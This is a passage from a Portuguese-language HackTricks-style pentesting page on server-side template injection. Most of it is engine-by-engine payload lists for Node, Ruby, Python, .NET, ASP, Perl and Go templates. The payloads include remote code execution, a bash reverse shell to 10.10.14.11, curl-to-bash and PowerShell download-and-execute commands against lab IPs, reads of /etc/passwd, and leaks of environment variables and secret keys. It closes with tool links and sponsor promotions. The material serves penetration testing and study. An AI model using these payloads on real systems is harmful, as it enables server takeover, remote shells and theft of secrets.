[https://appcheck-ng.com/template-injection-jsrender-jsviews/](https://appcheck-ng.com/template-injection-jsrender-jsviews/) ### PugJs (NodeJS) * `#{7*7} = 49` * `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}` * `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}` **Exemplo de renderização do lado do servidor** ```javascript var pugjs = require('pug'); home = pugjs.render(injected_page) ``` **Mais informações** * [https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/](https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/) ### NUNJUCKS (NodeJS)
* \{{7\*7\}} = 49 * \{{foo\}} = Sem saída * \#{7\*7} = \#{7\*7} * \{{console.log(1)\}} = Erro ```javascript {{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}} {{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}} ``` **Mais informações** * [http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine](http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine) ### ERB (Ruby) * `{{7*7}} = {{7*7}}` * `${7*7} = ${7*7}` * `<%= 7*7 %> = 49` * `<%= foobar %> = Erro` ```python <%= system("whoami") %> #Execute code <%= Dir.entries('/') %> #List folder <%= File.open('/etc/passwd').read %> #Read file <%= system('cat /etc/passwd') %> <%= `ls /` %> <%= IO.popen('ls /').readlines() %> <% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%> <% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%> ``` **Mais informações** * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby) ### Slim (Ruby) * `{ 7 * 7 }` ``` { %x|env| } ``` **Mais informações** * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby) ### Python Confira a seguinte página para aprender truques sobre **execução de comandos arbitrários contornando sandboxes** em python: {% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} [bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/) {% endcontent-ref %} ### Tornado (Python) * `{{7*7}} = 49` * `${7*7} = ${7*7}` * `{{foobar}} = Erro` * `{{7*'7'}} = 7777777` ```python {% raw %} {% import foobar %} = Error {% import os %} {% import os %} {% endraw %} {{os.system('whoami')}} {{os.system('whoami')}} ``` **Mais informações** ### Jinja2 (Python) [Site oficial](http://jinja.pocoo.org) > Jinja2 é um motor de templates completo para Python. Possui suporte total a unicode, um ambiente de execução opcional integrado e protegido, amplamente utilizado e licenciado pela BSD. * `{{7*7}} = Erro` * `${7*7} = ${7*7}` * `{{foobar}} Nada` * `{{4*4}}[[5*5]]` * `{{7*'7'}} = 7777777` * `{{config}}` * `{{config.items()}}` * `{{settings.SECRET_KEY}}` * `{{settings}}` * `
` ```python {% raw %} {% debug %} {% endraw %} {{settings.SECRET_KEY}} {{4*4}}[[5*5]] {{7*'7'}} would result in 7777777 ``` **Jinja2 - Formato de Template** ```python {% raw %} {% extends "layout.html" %} {% block body %} {% endblock %} {% endraw %} ``` [**RCE independente de**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`: ```python {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }} {{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }} {{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }} # Or in the shotest versions: {{ cycler.__init__.__globals__.os.popen('id').read() }} {{ joiner.__init__.__globals__.os.popen('id').read() }} {{ namespace.__init__.__globals__.os.popen('id').read() }} ``` **Mais detalhes sobre como abusar do Jinja**: {% content-ref url="jinja2-ssti.md" %} [jinja2-ssti.md](jinja2-ssti.md) {% endcontent-ref %} ### Mako (Python) ```python <% import os x=os.popen('id').read() %> ${x} ``` ### Razor (.Net) * `@(2+2) <= Sucesso` * `@() <= Sucesso` * `@("{{code}}") <= Sucesso` * `@ <=Sucesso` * `@{} <= ERRO!` * `@{ <= ERRO!` * `@(1+2)` * `@( //C#Code )` * `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");` * `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");` O método `System.Diagnostics.Process.Start` do .NET pode ser usado para iniciar qualquer processo no servidor e, assim, criar uma webshell. Você pode encontrar um exemplo de aplicativo web vulnerável em [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp) **Mais informações** * [https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-\(SSTI\)-in-ASP.NET-Razor/) * [https://www.schtech.co.uk/razor-pages-ssti-rce/](https://www.schtech.co.uk/razor-pages-ssti-rce/) ### ASP * `<%= 7*7 %>` = 49 * `<%= "foo" %>` = foo * `<%= foo %>` = Nada * `<%= response.write(date()) %>` = \ ```bash <%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %> ``` **Mais Informações** * [https://www.w3schools.com/asp/asp_examples.asp](https://www.w3schools.com/asp/asp_examples.asp) ### Mojolicious (Perl) Mesmo sendo Perl, utiliza tags como ERB em Ruby. * `<%= 7*7 %> = 49` * `<%= foobar %> = Erro` ``` <%= perl code %> <% perl code %> ``` ### SSTI em GO Para confirmar que o motor de template usado no backend é Go, você pode usar estes payloads: * `{{ . }}` = estrutura de dados sendo passada como entrada para o template * Se os dados passados forem um objeto que contém o atributo Password, por exemplo, o payload anterior revelaria isso, mas você também poderia fazer: `{{ .Password }}` * `{{printf "%s" "ssti" }}` = deve exibir a string ssti na resposta * `{{html "ssti"}}`, `{{js "ssti"}}` = Estes são alguns outros payloads que devem exibir a string "ssti" sem as palavras finais "js" ou "html". Você pode consultar mais palavras-chave no motor [aqui](https://golang.org/pkg/text/template). **Exploração de XSS** Se o servidor estiver **usando o pacote text/template**, XSS é muito fácil de alcançar **simplesmente** fornecendo seu **payload** como entrada. No entanto, isso **não acontece com html/template** pois codifica a resposta em HTML: `{{""}}` --> `<script>alert(1)</script>` No entanto, Go permite **DEFINIR** um **template** inteiro e **depois chamá-lo**. O payload seria algo como:\ `{{define "T1"}}{{end}} {{template "T1"}}` **Exploração de RCE** A documentação para o módulo html/template pode ser encontrada [aqui](https://golang.org/pkg/html/template/), e a documentação para o módulo text/template pode ser encontrada [aqui](https://golang.org/pkg/text/template/), e sim, elas variam, e muito. Por exemplo, em **text/template**, você pode **chamar diretamente qualquer função pública com o valor “call”**, o que não é possível com html/template. Se você quer encontrar um RCE em Go via SSTI, deve saber que, assim como você pode acessar o objeto fornecido ao template com `{{ . }}`, você também pode **chamar os métodos do objeto**. Então, imagine que o **objeto passado tem um método chamado System** que executa o comando fornecido, você poderia abusar disso com: `{{ .System "ls" }}`\ Portanto, você provavelmente **precisará do código-fonte**. Um código-fonte potencial para algo assim seria: ```go func (p Person) Secret (test string) string { out, _ := exec.Command(test).CombinedOutput() return string(out) } ``` **Mais informações** * [https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html](https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html) * [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/) ### Mais Exploits Confira o restante de [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) para mais exploits. Você também pode encontrar informações interessantes de tags em [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) ## BlackHat PDF {% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %} ## Ajuda Relacionada Se achar que pode ser útil, leia: * [Truques do Flask](../../network-services-pentesting/pentesting-web/flask.md) * [Funções mágicas do Python](broken-reference/) ## Ferramentas {% embed url="https://github.com/Hackmanit/TInjA" %} {% embed url="https://github.com/vladko312/sstimap" %} {% embed url="https://github.com/epinna/tplmap" %} {% embed url="https://github.com/Hackmanit/template-injection-table" %} ## Lista de Detecção de Brute-Force {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %} ## Prática & Referências * [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting) * [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI) * [**https://portswigger.net/web-security/server-side-template-injection**](https://portswigger.net/web-security/server-side-template-injection)
​​​[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com a **missão de promover o conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas. {% embed url="https://www.rootedcon.com/" %}
Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! Outras formas de apoiar o HackTricks: * Se quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Compartilhe suas dicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.